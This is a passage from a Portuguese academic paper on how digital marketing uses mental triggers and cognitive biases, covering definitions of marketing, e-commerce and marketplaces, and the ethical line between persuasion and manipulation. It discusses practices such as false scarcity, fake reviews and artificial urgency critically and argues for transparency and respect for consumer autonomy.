<p class="wp-block-paragraph">Em face disso, a interseção entre marketing digital, gatilhos mentais e vieses cognitivos levanta importantes discussões éticas, especialmente quanto aos limites entre persuasão e manipulação. O uso estratégico dessas ferramentas pode induzir comportamentos inconscientes, tornando essencial uma análise crítica sobre seus efeitos no processo de decisão dos consumidores. Em face disso, esta pesquisa busca compreender como tais mecanismos são utilizados para influenciar o comportamento de compra e de que forma os consumidores podem adotar posturas mais conscientes diante dessas estratégias.</p>



<p class="wp-block-paragraph">A relevância deste estudo se manifesta em diversas esferas. No meio acadêmico, ele promove o diálogo interdisciplinar entre marketing e psicologia, evidenciando como essas áreas se complementam. No contexto empresarial, contribui para a elaboração de campanhas mais eficazes e eticamente responsáveis. Já para a sociedade, oferece subsídios para uma reflexão mais aprofundada sobre os hábitos de consumo e os fatores que influenciam as escolhas cotidianas.</p>



<p class="wp-block-paragraph">O objetivo geral da pesquisa é analisar como o marketing digital utiliza gatilhos mentais e vieses cognitivos para influenciar decisões inconscientes, impactando diretamente o comportamento de compra dos consumidores.&nbsp;</p>



<p class="wp-block-paragraph">Especificamente, pretende-se identificar os principais gatilhos utilizados, examinar os efeitos dos vieses cognitivos no processo decisório, compreender as motivações envolvidas e aplicar um questionário que permita verificar a percepção dos consumidores quanto à influência dessas estratégias.</p>



<p class="wp-block-paragraph">A metodologia empregada na pesquisa é aquela que contempla a revisão bibliográfica de estudos já consolidados e a aplicação de questionários para a coleta de dados empíricos. Espera-se, com isso, oferecer uma compreensão abrangente do tema e contribuir para práticas de marketing mais éticas e conscientes no ambiente digital contemporâneo.</p>



<p class="wp-block-paragraph"><strong>2. ALCANCE E INFLUÊNCIA DO MARKETING&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>2.1 Definição e conceito de Marketing&nbsp;</strong></p>



<p class="wp-block-paragraph">Pode-se definir que o Marketing é ainda o conjunto de esforços empreendidos pela empresa para a definição e implementação de estratégias para a colocação de determinado bem ou serviço no mercado, visando que esse consiga atrair novos consumidores a se utilizarem do serviço ou consumir o respectivo produto, e também com o objetivo inerente de atender e satisfazer às demandas e às necessidades de seu público-alvo, ou seja, seus clientes (Wood, 2015).&nbsp;</p>



<p class="wp-block-paragraph">Desta feita, a essência do marketing trata-se de uma gestão empresarial que envolve todos os setores que compõem uma empresa, comprometida com os investimentos internos e externos e a previsão de seu consequente retorno (Castro, 2015).&nbsp;</p>



<p class="wp-block-paragraph">O marketing está no trabalho, no lazer, nas ruas, nas lojas e nos restaurantes, e também em todos os meios de comunicação que vemos e ouvimos. Em face disso, embora o marketing deseje informar e até mesmo entreter, algumas vezes ele também pode ser onipresente, irritante ou inoportuno (Esteves, 2014). Em função da intensa competição pela atenção dos consumidores, as empresas precisam planejar cuidadosamente seus produtos para conquistar os clientes, demonstrar o valor de sua oferta, conseguir a confiança dos consumidores e de preferência obter fidelidade no longo prazo (Tybout, 2013).</p>



<p class="wp-block-paragraph">Acerca dos grandes alcances do marketing, ele é apenas o início a manutenção dessa confiabilidade que deve continuar com a devida forma de trabalho no relacionamento humano dentro da empresa, sempre mantendo ativa uma lista com os seus já existentes clientes (Wood, 2015).&nbsp;</p>



<p class="wp-block-paragraph">O plano de marketing contém muito mais detalhes sobre a estratégia de marketing da empresa e sua implementação do que está contido no plano de negócios. Criado em um nível mais baixo do que o plano de negócios e do que o plano estratégico, ele oferece orientações operacionais específicas sobre como a organização usará o marketing para atingir os resultados definidos (Reade, 2015).&nbsp;</p>



<p class="wp-block-paragraph">Em muitas das vezes, um plano de marketing é desenvolvido para a empresa como um todo. Com base no plano geral de marketing, podem ser preparados planos específicos para cada produto ou linha, lançamento de novos produtos, áreas geográficas atendidas, projetos especiais, e assim por diante (Castro, 2015).</p>



<p class="wp-block-paragraph">O marketing é o processo de planejamento e execução do desenvolvimento, precificação, promoção e distribuição de ideias, bens e serviços, para gerar trocas que satisfaçam objetivos individuais e organizacionais (Esteves, 2014, Lima <em>et.al., </em>2023).</p>



<p class="wp-block-paragraph">O objetivo tradicional do marketing é estimular a demanda do consumidor e/ou transferir essa demanda pelo produto de uma empresa para outra. Nesse viés, os consumidores de baixa renda, especialmente os consumidores pobres, da base da pirâmide, são de pouco interesse. Pode parecer que a questão da pobreza não é um problema de marketing, mas sim um problema social em um sistema econômico capitalista, o fato é que algumas pessoas são marginalizadas (Costa <em>et.al.,</em> 2023; Wood, 2015).</p>



<p class="wp-block-paragraph"><strong>2.2 Administração do Marketing e satisfação dos consumidores</strong></p>



<p class="wp-block-paragraph">A questão relativa ao marketing e a necessidade inerente de se alcançar toda uma satisfação e interesse dos indivíduos que é quase que um estudo da neurociência e comportamental, marketing é o processo de planejar e executar a definição do preço, promoção, distribuição de ideias, bens e serviços com o intuito de criar trocas que atendam metas individuais e organizacionais. Acerca disso, para uma boa administração de marketing é necessário que se considere, o perfil do consumidor, seu posicionamento social e os conteúdos a serem produzidos para gerar engajamento (Lima <em>et.al.,</em> 2023; Wood, 2015).</p>



<p class="wp-block-paragraph">Uma vez que o marketing pode ser entendido como a satisfação das necessidades e dos desejos dos consumidores, estudar o comportamento destes e compreender quais são suas reais necessidades é fundamental no processo mercadológico (Costa <em>et.al</em>., 2023).&nbsp;</p>



<p class="wp-block-paragraph">Na administração de marketing, o objetivo é entender como o consumidor escolhe, compra, usa, descarta e recomenda determinados produtos; portanto, nesse âmbito, estudam-se quais são os determinantes do comportamento dos clientes, como fatores culturais, sociais, pessoais e psicológicos, a fim de se ter subsídios para pensar em ofertas mais precisas e pontuais e poder satisfazer o consumidor em seu momento de compra (Castro <em>et.al., </em>2015).&nbsp;</p>



<p class="wp-block-paragraph">Como mencionado, o marketing detém características de explorar e alcançar o que ´pode ser entendido como a satisfação das necessidades e dos desejos dos consumidores e, para isso, é por intermédio dessa ferramenta que pode-se às necessidades do público-alvo para que se destina aquele produto, primordialmente, estabelecer nos ditames do setor de vestuário o que está em alta de vendas, produtos com alta demanda na sociedade ou dentro dos padrões pré-estabelecidos da moda (Tybout, 2013).</p>



<p class="wp-block-paragraph">Assim, o marketing tem por objetivo entender como o consumidor escolhe, compra, usa, descarta e recomenda determinados produtos, para analisar esses quesitos é necessário realizar um estudo sobre o perfil do consumidor final (Tybout, 2013).&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.3 Marketing estratégico&nbsp;</strong></p>



<p class="wp-block-paragraph">Nesse prisma social que o marketing é um dos grandes impulsionadores até mesmo reflete para a valorização que a empresa vai aplicar no seu produto ou serviço. Acerca disso, pode-se mencionar que o marketing é uma filosofia empresarial e, desse modo, afirmar que se trata de uma forma de pensar em termos organizacionais (Castro <em>et.al.,</em> 2015; Wood, 2015).</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">O marketing estratégico, como já mencionamos, possui uma visão macro da empresa e, justamente por isso, sua função é estratégica, vindo antes da produção, ou seja, suas análises precedem o aspecto tático da empresa. Em outras palavras, consiste no ato de pensar o aspecto mercadológico que, depois, será colocado em prática pelo departamento de marketing. Enquanto o marketing estratégico cria valor, as demais fases que se seguem têm como papel entregar valor. O marketing estratégico também visa ao desenvolvimento das vantagens competitivas da organização. Para isso, estuda a evolução dos mercados e as mudanças em sua dinâmica, além das transformações relacionadas ao comportamento do consumidor, e analisa ainda possíveis mercados potenciais para a empresa. Seu papel mais estratégico é equilibrar os objetivos da empresa com as necessidades de mercado, o que pode ser entendido como um dos passos mais difíceis, dado que nem sempre as ambições da empresa central (Reade, Rocha, 2015, p. 48).</p>
</blockquote>



<p class="wp-block-paragraph">O estilo de marketing possui uma maior capacidade de segmentação, praticidade e comunicação personalizada, sendo bem mais econômica em contraposto das ações de comunicação convencional (Esteves, 2014). Mas, é preciso compreender que o marketing digital se diferencia do marketing tradicional, porque ele usa a internet como forma de interação e relacionamento com o seu público-alvo, de forma segmentada e individualizada, e não como meio de comunicação em massa e extremamente extensivo (Silk, 2008).</p>



<p class="wp-block-paragraph"><strong>2.4 Planejamento de Marketing&nbsp;</strong></p>



<p class="wp-block-paragraph">Para o planejamento de marketing e comunicação digital está também segue o mesmo processo do planejamento tradicional, considerando os atributos do produto, podendo esse ser um bem ou prestação de serviço, mas, desde que seja oferecido e os segmentos-alvo e suas características de gosto, consumo, tendência de empatia, tipo de conteúdo que gosta e outras informações que ajudarão a oferecer condições de compra às pessoas, com maior probabilidade de se encantar e se surpreender com os atributos oferecidos (Reade, 2015).</p>



<p class="wp-block-paragraph">Nesse sentido, o marketing deve ser objetivo quanto ao público que visa atingir com a publicidade do produto e, para isso, a tecnologia é quando se utiliza dos algoritmos para entregar aquela publicidade diretamente ao consumidor propício do produto, influenciando significativamente a adquirir o produto, muitas das vezes de maneira silenciosa (Somolo, 2011).&nbsp;</p>



<p class="wp-block-paragraph">Por intermédio de uma gestão e monitoramento adequados das plataformas digitais é possível entender o mercado em que atua, monitorar seu ambiente de negócio, seus concorrentes e estabelecer relações positivas com seus clientes e stakeholders, consequentemente, todo o processo de construção da publicidade do produto será destinada para os consumidores em potencial, essa é a principal essência do marketing, entregar as especificações do produto diretamente para o consumidor final (Silk, 2008).</p>



<p class="wp-block-paragraph">Apresentada a influência do marketing digital na elaboração do plano estratégico é possível compreender intrinsecamente a necessidade de pontuação e valorização que ele retrai para a empresa que o adota de maneira assertiva.&nbsp;</p>



<p class="wp-block-paragraph"><strong>3. TOMADA DE DECISÃO DO CONSUMIDOR NO AMBIENTE DIGITAL:&nbsp;IMPLICAÇÕES GERENCIAIS PARA A ADMINISTRAÇÃO</strong></p>



<p class="wp-block-paragraph"><strong>3.1 Como o marketing influencia o funil de vendas digital</strong></p>



<p class="wp-block-paragraph">A partir do advento da internet muitas estratégias dos gestores tiveram que ser alteradas, tais mudanças relativas a uma adequação a uma nova era de negócios, uma era de informações facilmente disponíveis para qualquer pessoa, principalmente o marketing das empresas teve que ser revisto com a criação da internet. Em vista disso, as mídias sociais transformaram o desenvolvimento da venda dos produtos, tendo alto poder de persuasão e criação de desejos nos consumidores. Cabe então as empresas se adequarem a essa nova era e elaborar dessa turbulência uma vantagem competitiva (Reade, 2015).</p>



<p class="wp-block-paragraph">Cobra, (2008, p.409) exprime que “se o seu público alvo tem o costume de acessar a internet, e utilizar essas mídias através da mesma, a busca por utilizar essas mídias que já estão presentes na Internet pode trazer mais uma vantagem na veiculação de suas campanhas”.</p>



<p class="wp-block-paragraph">A partir disso, existem ferramentas que auxiliam os gestores nessa tarefa complexa de criação de desejos nos clientes, o marketing digital (eletrônico) é um elemento de muitas vezes baixo investimento e que traz resultados imediatos e muito satisfatórios para a empresa, ele pode ser caracterizado como a ferramenta utilizada especificamente pelas empresas que desejam alcançar seu público alvo a partir de programas ou plataformas na internet. “O marketing eletrônico é basicamente a forma pela qual a empresa se utiliza de sua presença na internet para atingir o consumidor, alavancar o processo de troca e reforçar o relacionamento entre as empresas e os consumidores” (Albertin, 2010).</p>



<p class="wp-block-paragraph">Nos dias atuais as organizações em que seu departamento de marketing, mesmo que seja informal, não atuar nas mídias sociais, independente do ramo do negócio certamente estará perdendo grandes chances de mostrar a marca e até mesmo um canal ótimo de visualização e negociação de produtos (Lima <em>et.al., </em>2023). Principalmente falando de empresas varejistas, onde o fluxo de pessoas e clientes é bem elevado, o marketing envolvendo as mídias sociais deve estar totalmente presente no dia-a-dia desse segmento de negócio.</p>



<p class="wp-block-paragraph"><strong>3.2 Aplicações práticas no e-commerce e nas redes sociais</strong></p>



<p class="wp-block-paragraph">A globalização das economias e os avanços tecnológicos têm desencadeado o surgimento de diversos modelos de negócios, muitos dos quais têm sua base na internet. Dentro desse contexto, destaca-se o comércio eletrônico, um sistema de informações inter-organizacionais que possibilita aos compradores e vendedores trocar informações sobre preços e ofertas de produtos, está modalidade de comércio visa facilitar a vida dos compradores online, oferecendo diversas facilidades ao processo de compra (E-commerce Brasil, 2019).</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">A chave para o sucesso de qualquer sistema se resume na velocidade do PC. Sem ela, tão somente um punhado de pessoas poderia surfar na internet e sua abrangência seria limitada. Por sorte, a velocidade dos computadores e os preços seguiram a Lei de Moore e a popularidade da Internet cresceu. Agora grandes e pequenas empresas estão se estabelecendo na Grande Rede e esse iniciando na longa tarefa de estabelecer uma consciência de marca nesses novos usuários globais. O resultado foi uma mudança radical no mundo dos negócios (Smith <em>et al.,</em> 2000, p. 28).</p>
</blockquote>



<p class="wp-block-paragraph">O comércio eletrônico consiste na troca de bens, serviços ou informações entre empresas e consumidores por meio da rede eletrônica, ou seja, pela internet ou por outras formas de conexão online. É por meio dessa plataforma que os consumidores avaliam ofertas, preços e condições, tomam decisões e realizam suas compras, incluindo o pagamento, tudo em um ambiente virtual, de maneira similar ao que fariam em um estabelecimento comercial físico (Cruz, 2012).</p>



<p class="wp-block-paragraph">Conforme Albertin (2010) descreve, o comércio eletrônico é uma modalidade de comércio tradicional realizada em um ambiente eletrônico, impulsionado por tecnologias de comunicação e informação, com o objetivo de atender às necessidades e metas comerciais das empresas.&nbsp;</p>



<p class="wp-block-paragraph">O comércio eletrônico dá ao vendedor a possibilidade de atingir um número muito grande de clientes em qualquer parte do mundo, com escasso desembolso de capital e baixo custo operacional. Os canais de distribuição de comercialização podem ser drasticamente reduzidos ou até mesmo eliminados, tornando os produtos simultaneamente mais baratos e os lucros mais altos para o vendedor. O comércio eletrônico reduz em até 90% os custos de criação, processamento, distribuição, armazenamento e recuperação de informações em relação a documentos baseados em papel (Diniz, 2011).&nbsp;</p>



<p class="wp-block-paragraph">O comércio eletrônico permite reduzir os estoques e as despesas administrativas. Os serviços e o relacionamento com os clientes são facilitados pela comunicação interativa, pessoa a pessoa, a baixo custo. O comércio eletrônico consegue reduzir o tempo decorrido entre o desembolso de capital e o recebimento dos produtos e serviços. O comércio eletrônico reduz os custos de telecomunicações. A publicidade tem condições de utilizar multimídia, ser constantemente atualizada, atingir grandes massas e ser personalizada (Cruz, 2012).&nbsp;</p>



<p class="wp-block-paragraph">O comércio eletrônico é igualmente capaz de dar a pequenas empresas condições de enfrentar as grandes corporações. Benefício para os Consumidores. Os principais benefícios do comércio eletrônico para os consumidores são: O comércio eletrônico proporciona, de maneira geral, produtos e serviços mais baratos. O comércio eletrônico oferece mais escolhas aos clientes. O comércio eletrônico permite aos consumidores comprar ou fazer transações 24 horas por dia, o ano todo, a partir de qualquer ponto do planeta (Cernev, 2005).&nbsp;</p>



<p class="wp-block-paragraph">Os clientes recebem informações detalhadas e relevantes e outros serviços em questão de segundos. O comércio eletrônico permite aos consumidores obter produtos e serviços personalizados a preços competitivos. O comércio eletrônico permite aos consumidores interagir com outros clientes e com os vendedores em comunidades eletrônicas para trocar ideias e compartilhar experiências (Diniz <em>et al</em>., 2011).</p>



<p class="wp-block-paragraph">De acordo com Kotler (2017), na era da economia digital, os clientes estão empoderados, tornando mais fácil para eles avaliar e entender a proposta de posicionamento de qualquer marca. Nesse contexto, as empresas que investem ou planejam investir no comércio eletrônico precisam estabelecer laços mais estreitos com seus clientes e buscar constantemente um diferencial competitivo que as destaque no mercado, visando aumentar suas vendas e lucros (Diniz <em>et al.,</em> 2011).</p>



<p class="wp-block-paragraph">O e-commerce não se limita apenas a uma plataforma de vendas online, mas representa uma ferramenta abrangente na qual produtos e serviços podem ser expostos. Por meio dessa plataforma, é possível apresentar uma ampla variedade de produtos, com diferentes preços e marcas, abrindo as portas para uma nova era na qual praticamente tudo o que se procura pode ser encontrado na tela de um computador (Reade, 2015).</p>



<p class="wp-block-paragraph">O consumidor brasileiro tem se mostrado cada vez mais alinhado às tendências do mercado. Nesse sentido, desde sua popularização, os marketplaces conquistaram grande espaço nos lares e alcançaram um enorme sucesso. O fenômeno é tão significativo que, conforme dados do blog (Neilpatel, 2020), o Brasil ocupa o terceiro lugar entre os países que mais realizam compras online, liderando o comércio eletrônico na América Latina com uma participação de 59,1%, enquanto o segundo colocado, México, representa apenas 14,2% das transações (Belalian, 2015).</p>



<p class="wp-block-paragraph">Uma das plataformas mais conhecidas e amplamente utilizadas pelos brasileiros é o Mercado Livre. Na América Latina, a relevância dessa plataforma é tão expressiva que ela mantém parcerias estratégicas com outras grandes empresas, o que contribui para fortalecer e consolidar sua importância no continente. Além disso, desde 1995, diversas outras empresas do setor de e-commerce surgiram e conquistaram espaço no mercado global (Belalian, 2015).</p>



<p class="wp-block-paragraph">No marketplace, o estoque é descentralizado, o preço do produto é definido pelo fornecedor, há intermediação nas transações e a logística é acordada diretamente entre o fornecedor e o cliente. Já no e-commerce tradicional, o estoque é centralizado, a própria marca determina o preço do produto, a logística envolve o fornecedor, que entrega ao varejista e, posteriormente, ao cliente, e a plataforma se limita à modalidade de compra e venda (Belalian, 2015).</p>



<p class="wp-block-paragraph">O marketplace é uma modalidade dentro do e-commerce, mas é fundamental compreender que cada um possui características próprias. &#8220;Enquanto o e-commerce tradicional envolve a comercialização de produtos e serviços por meio de um site dedicado exclusivamente às vendas de uma única loja virtual, o marketplace oferece uma proposta mais ampla&#8221; (Belalian, 2015).</p>



<p class="wp-block-paragraph">O e-commerce, ou comércio eletrônico, é uma forma de comunicação entre a empresa e o cliente, um meio de vendas, onde vendedores oferecem produtos ou serviços por meio da internet (Castro <em>et.al.,</em> 2015).</p>



<p class="wp-block-paragraph">Conforme Nakamura (2001 p. 31), entende-se por comércio eletrônico “toda atividade de compra e venda realizada com auxílio de recursos eletrônicos”. O e-commerce é uma ferramenta que pode trazer muitas vantagens para as empresas. Segundo Smith <em>et al</em>. (2000, p. 45), “a aceitação do e-commerce é apenas um sintoma da nossa capacidade de processar transações de forma bem-sucedida por um custo relativamente baixo”.</p>



<p class="wp-block-paragraph">As vantagens de reequipar a empresa com as mais recentes inovações tecnológicas, de forma bem-sucedida, são grandes. Posto isso, essas incluem acesso a um mercado em rápida expansão e composto por milhões de pessoas, uma tecnologia de ponta que proporciona novas formas de entrega da mensagem que se deseja repassar, além de marcar a imagem e de se lograr, em larga escala, a interação com usuários em suas próprias casas, a um custo de transação próximo a zero (Reade, 2015).</p>



<p class="wp-block-paragraph">A conformidade, a rapidez e o custo são algumas vantagens para os consumidores que fazem uso do e-commerce. Os consumidores conseguem efetuar a compra de qualquer tipo de produto a qualquer hora do dia e em qualquer lugar do mundo. Com o avanço da tecnologia, é possível avaliar o produto e até comparar preços com outras empresas, promovendo a competitividade (Yesil, 1999). Nem toda empresa é capaz de gerar novos rendimentos através da venda direta online. Mas, a presença virtual também pode ser eficaz na redução de custos (Lima <em>et.al</em>., 2023).</p>



<p class="wp-block-paragraph">Algumas empresas criaram uma loja virtual simplesmente pelo prestígio proporcionado por sua vitrine online. Antes de investir em uma loja virtual, é preciso identificar claramente os objetivos que se almejam alcançar. A criação de uma nova fonte de renda, o corte de despesas de marketing ou a promoção de uma imagem sofisticada, são alguns dos objetivos que devem ser clarificados no processo de investimento de uma organização no e-commerce (Yesil, 1999).</p>



<p class="wp-block-paragraph"><strong>4. GESTÃO ÉTICA DA PERSUASÃO: LIMITES ESTRATÉGICOS NO USO DE GATILHOS MENTAIS</strong></p>



<p class="wp-block-paragraph">A expansão do marketing digital e o uso massivo de gatilhos mentais demandam dos gestores uma reflexão ética sobre os limites entre persuasão legítima e manipulação enganosa. Diante disso, este capítulo irá investigar como aplicar estratégias que respeitem a autonomia do consumidor, preservem a credibilidade da marca e se conformem a valores éticos.</p>



<p class="wp-block-paragraph"><strong>4.1 Persuasão ou manipulação? Reflexões para o gestor</strong></p>



<p class="wp-block-paragraph">O avanço acelerado das tecnologias de marketing digital e o uso sistemático de gatilhos mentais trouxeram à tona um debate ético fundamental: até que ponto as estratégias de persuasão podem ser consideradas legítimas antes de se transformarem em manipulação? Posto isso, a&nbsp; questão tem sido objeto de discussões tanto nos estudos acadêmicos e no mercado, desafiando gestores, publicitários e empreendedores a refletirem sobre os limites entre influenciar de forma ética e induzir escolhas de maneira questionável (Costa; Martins, 2023)</p>



<p class="wp-block-paragraph">De acordo com Coimbra (2024), a persuasão no marketing se fundamenta no uso de princípios psicológicos para orientar a tomada de decisão do consumidor, mas sem violar sua autonomia. Obstante a isso, significa oferecer informações, argumentos e estímulos que conduzam a uma escolha, porém, de forma transparente e respeitosa. Em contrapartida, a manipulação ocorre quando o consumidor é induzido a tomar decisões que ele não tomaria caso estivesse plenamente informado ou consciente das influências que estão sendo exercidas sobre ele.</p>



<p class="wp-block-paragraph">Em face disso, conforme dados da Ética Auditoria (2024) a linha que separa persuasão de manipulação, muitas vezes, é tênue e depende não apenas da técnica utilizada, mas do intuito por trás dela. Ocasionalmente, segundo a Ética Auditoria (2024) utilizar o gatilho da escassez, &#8220;últimas unidades disponíveis&#8221;, é considerado ético quando reflete uma condição real de estoque. Contudo, torna-se manipulação quando essa informação é falsa, criada exclusivamente para gerar ansiedade no consumidor e levá-lo a uma decisão precipitada<sup>4</sup></p>



<p class="wp-block-paragraph">Frente ao evidenciado, retrata que o dilema ético não é trivial no ambiente digital, onde algoritmos, inteligência artificial e sistemas de personalização tornam os anúncios cada vez mais precisos e persuasivos. Segundo Silva e Moresi (2022), o fenômeno da prova social, no qual consumidores se sentem mais confortáveis em adquirir produtos bem avaliados por outros usuários, é um exemplo clássico de um gatilho mental que pode ser empregado tanto de forma ética quanto manipulativa. Se as avaliações são verdadeiras, refletem a experiência de consumidores reais e fortalecem a confiança no processo de compra. Em contrapartida, quando são falsas ou infladas artificialmente, essa prática viola princípios éticos e prejudica não apenas o consumidor, mas também o mercado como um todo (Castro <em>et.al.,</em> 2023).</p>



<p class="wp-block-paragraph">Em face disso, a manipulação não está restrita apenas a práticas claramente enganosas. O uso massivo de <em>retargeting</em><sup>5</sup>, somado à inteligência preditiva, pode fazer com que os consumidores tenham a sensação de que seus pensamentos estão sendo &#8220;lidos&#8221; pelos anúncios. Obstante, para o autor Stewart (2024) destaca que, embora essas práticas sejam legítimas do ponto de vista tecnológico, elas levantam questionamentos éticos sobre privacidade, excesso de exposição e influência inconsciente, especialmente quando o consumidor não compreende completamente como seus dados estão sendo utilizados.</p>



<p class="wp-block-paragraph">Obstante a isso, outra preocupação que é recorrente é o uso do gatilho de urgência, bastante explorado em campanhas com contagens regressivas ou promoções por tempo limitado, este quando utilizado de forma transparente e verdadeira, ele pode ser um recurso legítimo para estimular a decisão de compra, especialmente em cenários como liquidações reais ou encerramento de estoques (Lima <em>et.al.,</em> 2023). Porém, sua aplicação constante, em ciclos infinitos de &#8220;urgência artificial&#8221;, desvirtua o princípio da persuasão e se transforma em um mecanismo de manipulação, pressionando emocionalmente os consumidores (Núnez, 2024).</p>



<p class="wp-block-paragraph">Segundo Costa e Martins (2023) analisaram os impactos do marketing sensorial e dos gatilhos mentais sobre o comportamento de compra no e-commerce, constatando que grande parte das compras impulsivas é desencadeada por estímulos como escassez, urgência e provas sociais. Os autores alertam que, embora essas estratégias sejam eficazes para aumentar as conversões, seu uso excessivo ou enganoso pode gerar arrependimento, frustração e desgaste na relação entre cliente e marca.</p>



<p class="wp-block-paragraph">Ademais, o uso irresponsável dos gatilhos mentais pode acarretar implicações legais e regulatórias. Em segmentos como saúde, educação ou serviços financeiros, há uma regulação mais rigorosa sobre promessas e abordagens comerciais. O Conselho Federal de Psicologia (CFP), adverte sobre práticas que podem configurar exploração da vulnerabilidade emocional, sobretudo em anúncios que prometem soluções rápidas e milagrosas<sup>6</sup>.</p>



<p class="wp-block-paragraph">Diante desse cenário, cabe aos gestores adotar diretrizes claras que balizem a aplicação ética dos gatilhos mentais. Primeiramente, é fundamental que as campanhas sejam construídas com base na transparência das informações, deixando evidente as condições de promoções, prazos e limitações dos produtos. Além disso, os feedbacks dos consumidores devem ser valorizados não apenas como ferramenta de prova social, mas também como termômetro da percepção ética das campanhas.</p>



<p class="wp-block-paragraph">Sendo assim, a construção de uma cultura organizacional orientada pela ética também passa pela capacitação constante das equipes de marketing e vendas, que devem ser treinadas para compreenderem as fronteiras entre influência saudável e manipulação. As empresas que adotam essas práticas não apenas fortalecem sua reputação no mercado, mas também constroem relações mais sólidas, sustentáveis e baseadas na confiança mútua com seus clientes (Nagato, 2023).</p>



<p class="wp-block-paragraph">Com base no exposto, os autores como Lima <em>et.al.,</em> (2023) e Costa <em>et.al., </em>(2023) mensuram que a reflexão ética sobre o uso dos gatilhos mentais não deve ser vista como um obstáculo às vendas, mas sim como uma oportunidade de diferenciar a marca num mercado cada vez mais saturado de estímulos.&nbsp;</p>



<p class="wp-block-paragraph">Na medida em que os consumidores se tornam mais conscientes e críticos em relação às estratégias de marketing, as empresas que adotam uma postura ética tendem a conquistar maior lealdade, satisfação e recorrência.</p>



<p class="wp-block-paragraph"><strong>4.2 Responsabilidade empresarial e percepção do consumidor</strong></p>



<p class="wp-block-paragraph">Primeiramente, marcado pela hiper conectividade e pela ascensão do marketing digital, a responsabilidade empresarial tornou-se um fator determinante para a construção e manutenção da imagem organizacional. As empresas que atuam no ambiente digital precisam, cada vez mais, alinhar suas práticas de comunicação persuasiva com princípios éticos, sociais e de transparência. Posto isso, é devido ao fato de que os consumidores contemporâneos não apenas consomem produtos e serviços, mas também avaliam constantemente o posicionamento ético das marcas com as quais se relacionam.</p>



<p class="wp-block-paragraph">De acordo com Kotler e Keller (2021), a responsabilidade social empresarial (RSE) transcende ações filantrópicas e deve estar incorporada de forma estrutural às estratégias de marketing e gestão. No contexto digital, isso se reflete na maneira como as empresas utilizam os dados dos consumidores, constroem campanhas publicitárias e aplicam gatilhos mentais.&nbsp;</p>



<p class="wp-block-paragraph">A percepção do consumidor em relação à responsabilidade empresarial tem se tornado cada vez mais crítica. Segundo os autores Santos e Almeida (2023) revela que 78% dos consumidores brasileiros afirmam preferir marcas que demonstram comprometimento com práticas éticas, transparência na comunicação e respeito à privacidade dos dados. Conforme estabelecido na pesquisa da Opinion Box (2023), que destaca que 84% dos entrevistados consideram importante que as empresas sejam transparentes sobre como utilizam suas estratégias de marketing digital.</p>



<p class="wp-block-paragraph">Sendo assim, o uso de gatilhos mentais e vieses cognitivos passa a ser observado sob uma ótica mais crítica, os gatilhos quando utilizados de forma excessiva, desonesta ou manipulativa, esses mecanismos podem gerar efeitos negativos, como arrependimento pós-compra, desconfiança e percepção de que a marca prioriza o lucro em detrimento do bem-estar do consumidor (Oliveira; Souza, 2024). Em contrapartida, quando empregados com responsabilidade, os gatilhos podem servir como facilitadores na jornada de compra, ajudando o consumidor a tomar decisões mais ágeis, sem que haja sensação de pressão ou engano (Lima <em>et.al.,</em> 2023).</p>



<p class="wp-block-paragraph">A responsabilidade empresarial no marketing digital envolve o compromisso com práticas que respeitem os princípios da Lei Geral de Proteção de Dados (LGPD) no Brasil. Segundo os autores Marques e Lima (2022) alertam que o uso não consentido de dados pessoais para campanhas altamente segmentadas, especialmente aquelas que exploram vulnerabilidades emocionais dos consumidores, pode configurar não apenas uma infração ética, mas também legal, impactando negativamente a percepção da marca (Costa <em>et.al., </em>2023).</p>



<p class="wp-block-paragraph">Neste viés, é necessário destacar que outro fator está diretamente ligado à percepção do consumidor é o alinhamento das práticas empresariais aos valores sociais e ambientais. Empresas que demonstram preocupação com sustentabilidade, diversidade, inclusão e impacto social tendem a ser melhor avaliadas. Segundo Costa e Andrade (2024), marcas que investem em responsabilidade social apresentam um aumento médio de 33% na intenção de compra por parte dos consumidores, além de obterem maior engajamento nas redes sociais.</p>



<p class="wp-block-paragraph">Em face disso, o consumidor atual não é passivo frente às estratégias persuasivas, esse consumidor observa, questiona e avalia se as práticas adotadas pelas empresas estão alinhadas com seus próprios valores. Posto isso, a mudança no perfil do consumidor exige que os gestores de marketing adotem uma postura mais consciente, evitando a exploração de vulnerabilidades emocionais e priorizando relações baseadas na confiança, no respeito e na transparência (Lima <em>et.al.,</em> 2023).</p>



<p class="wp-block-paragraph">Consequentemente, a responsabilidade empresarial no marketing digital é um elemento estratégico e indispensável, essa não apenas protege a empresa de sanções legais e de crises de imagem, mas também fortalece sua reputação, amplia seu valor de marca e gera vantagem competitiva (Costa <em>et.al.,</em> 2023).</p>



<p class="wp-block-paragraph">Ocasionalmente, ao delimitar que a percepção do consumidor está diretamente associada às práticas adotadas pela empresa, os gestores podem transformar a comunicação persuasiva em uma ferramenta não apenas de conversão, mas também de construção de valor social, ético e sustentável.</p>



<p class="wp-block-paragraph"><strong>4.3 O papel da ética nas estratégias de influência digital</strong></p>



<p class="wp-block-paragraph">No ambiente digital contemporâneo, as estratégias de influência se tornaram ferramentas essenciais para marcas, empresas e criadores de conteúdo que buscam engajar, persuadir e converter consumidores (Oliveira; Souza, 2024).</p>



<p class="wp-block-paragraph">Frente a isso, o processo de persuasão, muitas vezes baseado na aplicação de gatilhos mentais, vieses cognitivos e coleta de dados, levanta uma discussão cada vez mais relevante: até que ponto essas práticas são éticas? E qual é o limite entre influenciar e manipular?</p>



<p class="wp-block-paragraph">A ética no marketing digital não pode ser vista como um mero complemento, mas como um princípio norteador. Segundo Kotler e Keller (2021), práticas éticas são fundamentais para a construção de relacionamentos duradouros com os consumidores, uma vez que a confiança se estabelece como um ativo intangível, mas extremamente valioso no mercado. Isso é ainda mais sensível no contexto das redes sociais, onde a linha entre a influência legítima e a manipulação pode ser tênue.</p>



<p class="wp-block-paragraph">De acordo com Santos e Almeida (2023), a aplicação de gatilhos mentais como escassez, urgência e prova social, quando utilizada sem transparência ou de forma a explorar vulnerabilidades emocionais, pode gerar impactos negativos, tanto na experiência do consumidor quanto na reputação da empresa.</p>



<p class="wp-block-paragraph">Assim sendo, a ética surge como um parâmetro que orienta os profissionais de marketing e influenciadores digitais na construção de abordagens que sejam persuasivas, mas que respeitem a autonomia e a liberdade de escolha dos indivíduos (Santos; Almeida, 2023).</p>



